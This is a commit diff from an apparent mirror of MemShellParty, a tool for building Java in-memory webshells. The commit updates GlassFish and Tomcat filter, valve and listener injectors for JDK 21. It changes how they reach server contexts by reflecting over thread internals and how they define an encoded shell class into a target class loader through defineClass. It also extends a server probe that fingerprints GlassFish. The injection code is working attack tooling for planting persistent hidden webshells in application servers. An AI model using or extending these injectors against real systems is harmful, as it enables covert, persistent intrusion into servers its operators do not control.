mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: glassfish7/8 jdk21 shell failed
This commit is contained in:
+17
-1
@@ -87,7 +87,11 @@ public class GlassFishFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
@@ -97,6 +101,18 @@ public class GlassFishFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+14
-1
@@ -76,7 +76,11 @@ public class GlassFishValveInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
@@ -87,6 +91,15 @@ public class GlassFishValveInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||
findLoadedClass.setAccessible(true);
|
||||
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+22
-2
@@ -59,14 +59,22 @@ public class TomcatListenerInjector {
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
@@ -90,6 +98,18 @@ public class TomcatListenerInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
|
||||
@@ -70,7 +70,9 @@ public class ServerProbe {
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
if (System.getProperty("AS_INSTALL") != null) {
|
||||
if (System.getProperty("AS_INSTALL") != null
|
||||
|| System.getProperty("com.sun.aas.installRoot") != null
|
||||
|| System.getProperty("glassfish.version") != null) {
|
||||
return ret = "GlassFish";
|
||||
}
|
||||
if (System.getProperty("jboss.home.dir") != null
|
||||
|
||||
+14
-1
@@ -156,7 +156,11 @@ public class GlassFishFilterProbe {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
@@ -166,6 +170,15 @@ public class GlassFishFilterProbe {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
+14
-1
@@ -32,7 +32,7 @@ public class GlassFishWriter {
|
||||
// GlassFish4+
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
Object blocker = getFieldValue(thread, "blocker");
|
||||
Object blocker = getThreadBlocker(thread);
|
||||
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
||||
continue;
|
||||
}
|
||||
@@ -62,6 +62,19 @@ public class GlassFishWriter {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getThreadBlocker(Thread thread) {
|
||||
try {
|
||||
return getFieldValue(thread, "blocker");
|
||||
} catch (Throwable ignored) {
|
||||
try {
|
||||
// JDK 21+
|
||||
return getFieldValue(thread, "nioBlocker");
|
||||
} catch (Throwable ignored2) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private boolean tryWriteRes(Object request) throws Exception {
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
|
||||
Reference in New Issue
Block a user